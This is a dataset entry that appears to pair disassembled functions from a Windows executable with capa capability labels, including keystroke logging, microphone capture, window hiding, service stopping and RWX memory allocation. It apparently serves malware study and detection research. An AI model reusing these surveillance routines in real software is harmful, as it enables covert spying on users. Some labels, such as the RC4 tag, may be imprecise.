joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45f578
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, ebx
call fcn.0040a26c
test al, al
je 0x45f6b6
lea eax, [ebp - 0x68]
call fcn.0045eac4
push 0
push 0x8000080
push 3
push 0
push 3
push 0x80000000
mov eax, ebx
call fcn.004059dc
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x45f69f
xor eax, eax
push ebp
push 0x45f698
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CreateFileMappingA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x45f681
xor eax, eax
push ebp
push 0x45f67a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x45f663
xor eax, eax
push ebp
push 0x45f65c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetFileSize_1
mov ecx, eax
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x68]
call fcn.0045eae8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45f663
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_UnmapViewOfFile
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45f681
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45f69f
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
lea edx, [ebp - 0x78]
lea eax, [ebp - 0x68]
call fcn.0045eb7c
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x78]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4603cc
Capabilities:
Set socket configuration

Disassembly:
push ebx
push esi
push ecx
mov ebx, eax
cmp byte [ebx + 0x30], 0
jne 0x46044c
movzx eax, word [ebx + 0x3e]
push eax
movzx eax, byte [ebx + 0x44]
mov eax, dword [eax*4 + 0x492948]
push eax
movzx eax, byte [ebx + 0x3c]
mov eax, dword [eax*4 + 0x4928e8]
push eax
call sub.wsock32.dll_socket
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov esi, eax
mov dword [ebx + 0x40], esi
inc esi
setne al
mov byte [ebx + 0x30], al
test al, al
je 0x46044c
cmp byte [ebx + 0x31], 1
jne 0x460437
mov dword [esp], 1
push esp
push 0x8004667e
mov eax, dword [ebx + 0x40]
push eax
call sub.wsock32.dll_ioctlsocket
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
mov dword [ebx + 0x34], eax
xor eax, eax
mov dword [ebx + 0x38], eax
mov eax, ebx
mov si, 0xffef
call fcn.0040484c
pop edx
pop esi
pop ebx
ret
Function at 0x46064c
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe0
mov esi, ecx
mov ebx, edx
mov eax, esi
call fcn.00405530
test ebx, ebx
je 0x4606ea
movzx eax, byte [ebx]
add al, 0xd0
sub al, 0xa
jae 0x460689
mov eax, ebx
call fcn.004059dc
push eax
call sub.wsock32.dll_inet_addr
inc eax
je 0x4606f6
mov eax, esi
mov edx, ebx
call fcn.00405584
jmp 0x4606f6
mov eax, ebx
call fcn.004059dc
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4606f6
mov ebx, eax
push esi
mov eax, dword [ebx + 0xc]
mov edi, dword [eax]
movzx eax, byte [edi]
mov dword [esp + 4], eax
mov byte [esp + 8], 0
movzx eax, byte [edi + 1]
mov dword [esp + 0xc], eax
mov byte [esp + 0x10], 0
movzx eax, byte [edi + 2]
mov dword [esp + 0x14], eax
mov byte [esp + 0x18], 0
movzx eax, byte [edi + 3]
mov dword [esp + 0x1c], eax
mov byte [esp + 0x20], 0
lea edx, [esp + 4]
mov ecx, 3
mov eax, 0x460708
call fcn.0040af98
jmp 0x4606f6
mov eax, esi
mov edx, 0x46071c
call fcn.00405584
add esp, 0x20
pop edi
pop esi
pop ebx
ret

Function at 0x460760
Capabilities:
Get hostname

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.00405530
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
test eax, eax
jne 0x46079d
mov eax, esi
mov edx, esp
mov ecx, pe_nt_image_headers32
call fcn.004057a0
add esp, 0x100
pop esi
pop ebx
ret
Function at 0x461964
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, eax
movzx eax, bl
cmp eax, 0x5b
jge 0x4619a0
cmp eax, 0x2e
jge 0x461988
sub eax, 0x23
je 0x4619ee
sub eax, 2
je 0x4619cf
sub eax, 6
je 0x4619cf
jmp 0x461a09
add eax, 0xffffffd2
sub eax, 0xc
jb 0x4619cf
sub eax, 5
je 0x4619cf
dec eax
je 0x4619ee
dec eax
sub eax, 0x1a
jb 0x4619cf
jmp 0x461a09
cmp eax, 0xa3
jg 0x4619be
je 0x4619cf
add eax, 0xffffffa5
sub eax, 4
jb 0x4619ee
dec eax
je 0x4619ee
add eax, 0xffffffe5
sub eax, 4
jb 0x4619ee
jmp 0x461a09
sub eax, 0xa7
je 0x4619cf
sub eax, 9
je 0x4619cf
sub eax, 5
jne 0x461a09
mov dl, 1
mov al, 0x10
call fcn.00461910
push ebx
call sub.user32.dll_VkKeyScanA
call fcn.00461944
xor edx, edx
mov al, 0x10
call fcn.00461910
pop ebx
ret
mov al, 1
call fcn.0046192c
push ebx
call sub.user32.dll_VkKeyScanA
call fcn.00461944
xor eax, eax
call fcn.0046192c
pop ebx
ret
push ebx
call sub.user32.dll_VkKeyScanA
call fcn.00461944
pop ebx
ret

Function at 0x4657fc
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
test eax, 0x4000000
je 0x465811
or edx, 0x200
test eax, 0x20000000
je 0x465844
test eax, 0x40000000
je 0x465830
test eax, 0x80000000
je 0x46582b
or edx, 0x40
jmp 0x46586b
or edx, 0x20
jmp 0x46586b
test eax, 0x80000000
je 0x46583f
or edx, 0x80
jmp 0x46586b
or edx, 0x10
jmp 0x46586b
test eax, 0x40000000
je 0x46585c
test eax, 0x80000000
je 0x465857
or edx, 4
jmp 0x46586b
or edx, 2
jmp 0x46586b
test eax, 0x80000000
je 0x465868
or edx, 8
jmp 0x46586b
or edx, 1
mov eax, edx
pop ebp
ret 4
Function at 0x46675c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x499f54
cmp dword [edi], 0
jne 0x4667d8
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x499f50]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x492af0
mov ecx, 2
call fcn.004030fc
mov edx, 0x466734
lea eax, [esi + 5]
call fcn.00466754
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00466754
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x4667ad
mov dword [0x499f50], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x466954
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 4], 0
je 0x466a6a
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
jne 0x466a75
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xa2], 0
je 0x4669f8
mov eax, ebx
call fcn.00402f00
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4669f1
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.004030fc
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4669f8
mov eax, dword [ebp - 0xc]
call fcn.00402f1c
ret
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.00408568
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x466a75
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x466a75
jmp 0x466a75
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00466c28
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x466a7c
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff7c
mov esi, edx
lea edi, [esp]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, eax
cmp byte [ebx + 4], 0
jne 0x466af5
push 0x10004
push 0
mov eax, dword [ebx + 0x98]
push eax
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [ebx + 0x94]
push eax
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x466af5
movzx esi, byte [ebx + 0x91]
test esi, esi
jle 0x466ad4
mov eax, ebx
call fcn.00466bc0
dec esi
jne 0x466aca
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x466af5
mov esi, esp
lea edi, [ebx + 0x10]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebx + 4], 1
add esp, 0x84
pop edi
pop esi
pop ebx
ret

Function at 0x466bc0
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov eax, 0x20
call fcn.00402f00
mov edi, eax
mov edx, edi
mov eax, dword [ebx + 8]
call fcn.00466138
mov esi, edi
mov eax, dword [ebx + 0xc]
call fcn.00402f00
mov dword [esi], eax
mov eax, dword [ebx + 0xc]
mov dword [esi + 4], eax
xor eax, eax
mov dword [esi + 8], eax
xor eax, eax
mov dword [esi + 0x10], eax
xor eax, eax
mov dword [esi + 0x14], eax
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x466c20
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x466ccc
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc7c
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
mov eax, ebx
call fcn.0040a26c
test al, al
jne 0x466cf2
mov byte [ebp - 1], 0
jmp 0x466ec2
lea eax, [ebp - 0x119]
mov edx, edi
call fcn.0040a928
lea eax, [ebp - 0x21e]
mov edx, ebx
call fcn.0040a928
lea eax, [ebp - 0x323]
mov edx, esi
call fcn.0040a928
xor eax, eax
push ebp
push 0x466ebb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x384]
xor ecx, ecx
mov edx, 0xc
call fcn.00403af4
mov dword [ebp - 0x384], 0xc
xor eax, eax
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], 0xffffffff
push 0
push pe_nt_image_headers32
push 4
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x21e]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x466d8f
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x466ec2
push 0
push pe_nt_image_headers32
push 2
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x323]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x466dc9
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x466ec2
lea eax, [ebp - 0x368]
xor ecx, ecx
mov edx, 0x44
call fcn.00403af4
mov dword [ebp - 0x368], 0x44
mov dword [ebp - 0x33c], 0x101
mov word [ebp - 0x338], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x330], eax
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x368]
push eax
push 0
push 0
push 0x110
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x119]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x466e66
push 0xffffffffffffffff
mov eax, dword [ebp - 0x378]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0x378]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0xc], eax
jmp 0x466e71
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x466ec2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x466ec2
cmp dword [ebp - 0x14], 0
je 0x466e8d
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0x10], 0
je 0x466e9c
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0xc], 0
je 0x466eab
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 8], 0
je 0x466eba
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4689e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x28]
mov edi, dword [ebx + 0x38]
sub edi, dword [ebx + 0x70]
sub edi, dword [ebx + 0x68]
jmp 0x468a0f
mov eax, dword [ebx + 0x28]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x68]
ja 0x468a8e
push esi
mov eax, dword [ebx + 0x34]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.00467650
add esp, 0xc
sub dword [ebx + 0x6c], esi
sub dword [ebx + 0x68], esi
sub dword [ebx + 0x58], ebp
mov eax, dword [ebx + 0x48]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x40]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x468a5c
mov cx, word [esp]
sub cx, si
jmp 0x468a5e
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x468a45
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x3c]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x468a84
mov cx, word [esp]
sub cx, si
jmp 0x468a86
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x468a6d
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x468aeb
mov edx, dword [ebx + 0x34]
mov ecx, edi
add edx, dword [ebx + 0x68]
mov eax, ebp
add edx, dword [ebx + 0x70]
call fcn.004686d0
add dword [ebx + 0x70], eax
cmp dword [ebx + 0x70], 3
jb 0x468ad6
mov eax, dword [ebx + 0x34]
mov edx, dword [ebx + 0x68]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x44], eax
mov ecx, dword [ebx + 0x54]
shl eax, cl
mov edx, dword [ebx + 0x34]
mov ecx, dword [ebx + 0x68]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x50]
mov dword [ebx + 0x44], eax
cmp dword [ebx + 0x70], 0x106
jae 0x468aeb
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x4689ea
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x46d0b8
Capabilities:
Check os version

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff68
xor ebx, ebx
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x94
call fcn.00403af4
mov dword [esp + 4], 0x94
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x46d128
cmp dword [esp + 0x14], 2
jne 0x46d128
cmp dword [esp + 8], 6
jb 0x46d128
push 0x46d138
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x46d122
push 0x46d144
push esi
call sub.kernel32.dll_GetProcAddress_1
mov ebp, eax
mov edi, ebp
test ebp, ebp
je 0x46d122
push esp
call edi
movzx ebx, byte [esp]
push esi
call sub.kernel32.dll_FreeLibrary_1
mov eax, ebx
add esp, 0x98
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x46d15c
Capabilities:
Check os version

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff68
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x94
call fcn.00403af4
mov dword [esp + 4], 0x94
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x46d1d8
cmp dword [esp + 0x14], 2
jne 0x46d1d8
cmp dword [esp + 8], 6
jb 0x46d1d8
push 0x46d1e8
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x46d1d2
push 0x46d1f4
push esi
call sub.kernel32.dll_GetProcAddress_1
mov ebp, eax
mov edi, ebp
test ebp, ebp
je 0x46d1d2
cmp byte [esp], 0
je 0x46d1ce
push 1
call edi
jmp 0x46d1d2
push 0
call edi
push esi
call sub.kernel32.dll_FreeLibrary_1
mov eax, ebx
add esp, 0x98
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x46d480
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x46d4ed
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, 0x46d500
call fcn.00405864
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x46d504
push 0x46d50c
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d4f4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x46d968
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x46d970
push ecx
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push ebp
push 0x46daa9
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 0x41
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00405718
lea eax, [ebp - 0xc]
mov edx, 0x46dac0
call fcn.00405818
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_GetDriveTypeA
mov esi, eax
cmp esi, 1
jle 0x46da72
lea eax, [ebp - 0x18]
call fcn.0048a364
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040a5d4
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00409b7c
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
mov edx, ebx
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x24]
lea eax, [ebp - 0x28]
call fcn.004039a0
mov edx, 0x46dac4
lea eax, [ebp - 0x28]
mov cl, 2
call fcn.00403970
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x20]
call fcn.00405794
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.00409b7c
mov edx, dword [ebp - 0x1c]
pop eax
call fcn.00405974
jne 0x46da34
lea eax, [ebp - 8]
mov edx, 0x46dad0
call fcn.004055c8
jmp 0x46da43
lea eax, [ebp - 8]
mov edx, dword [esi*4 + 0x4941f8]
call fcn.004055c8
push dword [ebp - 4]
lea eax, [ebp - 0x2c]
mov edx, ebx
call fcn.00405718
push dword [ebp - 0x2c]
push 0x46dac0
push 0x46dae4
push dword [ebp - 8]
push 0x46daf0
lea eax, [ebp - 4]
mov edx, 6
call fcn.004058e0
inc ebx
cmp bl, 0x5b
jne 0x46d98d
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46dab0
lea eax, [ebp - 0x2c]
call fcn.00405530
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00405554
ret

Function at 0x46daf4
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xffffffe8
mov ebx, eax
mov dword [esp], 0x10
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x11
call fcn.004057a0
add esp, 0x18
pop ebx
ret

Function at 0x46db64
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46db98
call sub.user32.dll_FindWindowA
push 0
push 0x46dba8
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push 0x46dbb8
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dbc8
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dbfc
call sub.user32.dll_FindWindowA
push 0
push 0x46dc0c
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push 0x46dc1c
push 0
push eax
call sub.user32.dll_FindWindowExA
push 5
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dc2c
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dc50
call sub.user32.dll_FindWindowA
push 0
push 0x46dc60
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dc70
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dc94
call sub.user32.dll_FindWindowA
push 0
push 0x46dca4
push 0
push eax
call sub.user32.dll_FindWindowExA
push 5
push eax
call sub.user32.dll_ShowWindow
ret
Function at 0x46dcb4
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dcd8
call sub.user32.dll_FindWindowA
push 0
push 0x46dce8
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dcf8
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dd1c
call sub.user32.dll_FindWindowA
push 0
push 0x46dd2c
push 0
push eax
call sub.user32.dll_FindWindowExA
push 5
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dd3c
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dd58
push 0
push 0
call sub.user32.dll_FindWindowExA
push 0
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dd60
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dd7c
push 0
push 0
call sub.user32.dll_FindWindowExA
push 5
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dd84
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x46de3f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x46de24
xor eax, eax
push ebp
push 0x46de1d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_OpenServiceA
mov ebx, eax
lea eax, [ebp - 0x28]
push eax
push 1
push ebx
call sub.advapi32.dll_ControlService
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46de24
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46de46
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret